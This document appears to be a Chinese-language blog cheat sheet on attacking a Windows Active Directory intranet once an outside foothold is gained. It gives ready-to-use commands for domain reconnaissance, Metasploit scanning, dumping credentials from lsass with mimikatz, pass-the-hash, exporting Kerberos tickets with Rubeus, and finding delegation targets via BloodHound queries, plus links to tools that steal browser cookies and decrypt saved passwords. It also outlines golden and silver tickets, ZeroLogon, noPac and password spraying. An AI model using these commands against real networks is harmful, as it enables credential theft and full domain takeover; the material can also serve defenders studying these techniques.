内网渗透思路:

通过外网撕开的口子,定位域控的IP及域管理员的账号,因为域管理员可以登录任何成员机子,可以找域管登陆过的机子,然后dump出域管密码,进而拿下域控

域内信息收集

域内收集信息的命令

net:

net user       #  本机用户列表
net localgroup administrators       #  本机管理员[通常含有域用户]
net user /domain       #  查询域用户
net group /domain       #  查询域里面的工作组
net group "domain admins" /domain       #  查询域管理员用户组
net localgroup administrators /domain       #  登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机
net group "Domain controllers" -      #  查看域控制器(如果有多台)
net view       #  查询同一域内机器列表 net view /domain       #  查询域列表
net view /domain:domainname

dsquery:

dsquery computer domainroot -limit 65535 && net group "domain computers" /domain       #  列出该域内所有机器名
dsquery user domainroot -limit 65535 && net user /domain     # 列出该域内所有用户名
dsquery subnet       # 列出该域内网段划分
dsquery group && net group /domain       # 列出该域内分组
dsquery ou       # 列出该域内组织单位
dsquery server && net time /domain        # 列出该域内域控制器

else:

ifconfig /all    # 查看网络配置
systeminfo
tasklist /svc    # 查看服务列表
netstat -ano    # 查看端口开放情况

常用工具收集信息

nmap

建立socks代理,扫描内网

-sT: TCP 扫描
-sS: SYN 扫描
-sA: ACK 扫描
-sF:FIN 扫描
-sU: UDP 扫描
-sR: RPC 扫描
-sP: ICMP 扫描
msf
主机存活探测:
auxiliary/scanner/discovery/arp_sweep     # ARP 扫描
auxiliary/scanner/discovery/udp_sweep    # UDP 扫描
auxiliary/scanner/netbios/nbname         # NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum         # 扫描
auxiliary/scanner/smb/smb_version         # SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack             # TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce     # FTP bounce 端口扫描
auxiliary/scanner/portscan/syn             # SYN 端口扫描
auxiliary/scanner/portscan/tcp             # TCP 端口扫描
auxiliary/scanner/portscan/xmas         # TCP XMas 端口扫描
msscan

快速扫描端口

收集本地机子各种密码

windows当前用户密码:

mimikatz : https://github.com/gentilkiwi/mimikatz 可以配合一些windows白名单把lass.exe内的密码dump下来然后本地破解密码

浏览器内各种密码

窃取浏览器cookie : https://github.com/DeEpinGh0st/Browser-cookie-steal

导出浏览器数据 : https://github.com/moonD4rk/HackBrowserData

xshell/xftp密码

解密xshell/xftp密码 : https://github.com/dzxs/Xdecrypt

navicat

https://blog.csdn.net/CCESARE/article/details/104746596

分析域内架构

DMZ

管理网

生产网

测试网

横向渗透

SYSVOL

sysvol是指存储公共服务器副本的共享文件,在域中的域控之间复制,用来存放GPO、script等信息

可以查找SYSVOL或者组策略首选项中保存的密码

MS14-068

kerberos协议漏洞

PAC是验证client的访问权限的,被放在TGT里发给client,然后由client发给TGS

kdcsvc.dll域控制器的秘钥分发中心(KDC)存在一个漏洞,允许经过身份认证的用户在其获得的票据TGT中插入任意PAC,普通用户可以拿改变了PAC的TGT来伪造票据获取管理员权限

黄金票据

在windows的kerberos认证的过程中,client将信息发送给KDC,然后KDC把krbtgt用户的NTLM-Hash作为秘钥进行加密,生成TGT,如果我们拿到了jrbtgt用户的NTLM-Hash,就可以伪造TGT,前提是得拿到jrbtgt用户的NTLM-Hash,而该用户只有域控制器上面才有

所需条件:
域名称
域SID值
域的jrbtgt账户的HASH
伪造任意用户名

银票据

银票据的利用是伪造TGS,通过已知的授权服务密码生成可以访问该服务的TGT,在生成过程中不需要使用KDC,因此可以绕过域控制器,白银票据依赖于服务账号的密码散列值,相对于黄金票据更加隐蔽

PTH

直接通过nt hash或者ntlm hash访问远程主机,可以使用mimitkaz或者psexec进行hash传递

  • mimitkaz:
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:xxxxxxxxxxxxxxxxx
  • psexec:
注意点:
需要远程系统开启admin$共享
需要目标开启445端口
非域用户无法利用内存中的票据使用psexec功能,只能用账号密码传递

域服务账号破解

在mimikatz提取的门票,用rgsrepcrack破解

密码喷洒

和爆破类似,只不过是用固定的密码去爆破用户名,这样可以增加爆破的成功率,清除账户被锁定的概率

CVE-2021-42278 && CVE-2021-42287

https://github.com/cube0x0/noPac

ZeroLogon(CVE-2020-1472)

该漏洞可将域控用户的密码置空

委派攻击

域委派是指把域内用户的权限委派给服务账号,就好比你访问了我,然后我拿着你访问我的凭证去访问别的机子,委派攻击分为非约束委派攻击、约束委派攻击和资源委派攻击

非约束委派

当用户访问某个机子的时候会向dc发起认证,dc会检查该机子的账号的属性,如果是非约束委派,会吧用户的TGT放在ST票据中一起发送给那台要访问的机子,然后那台机子就会把用户的TGT储存在自己的lsass中,那么该怎么利用呢,我们如果拿下了一台配置了非约束委派的机子,可以诱导管理员访问该机子,然后就拿到了管理员的TGT,就可以模拟管理员访问任意服务了

可以配合spooler打印机服务由被动转换为主动

获取票据:
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
查找非约束委派的机子:
Get-NetComputer -Unconstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p
约束委派

由于非约束委派的不安全性,引入了约束委派

当用户访问机子1的时候,会向dc发起kerberos认证,然后域控返回用户的TGT和ST1票据,用户使用ST1票据对机子1进行访问,如果配置了机子1到机子2的约束委派,则机子1可以使用S4U2Proxy协议将用户发给自己的ST1票据以用户的身份发给dc,最后域控就返回一个访问机子2的ST2票据给机子1,这样机子1就能以用户身份访问机子2了

获取票据:
privilege::debug sekurlsa::tickets /export sekurlsa::tickets /
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
查找约束委派的机子:
Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS- AllowedToDelegateTo
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p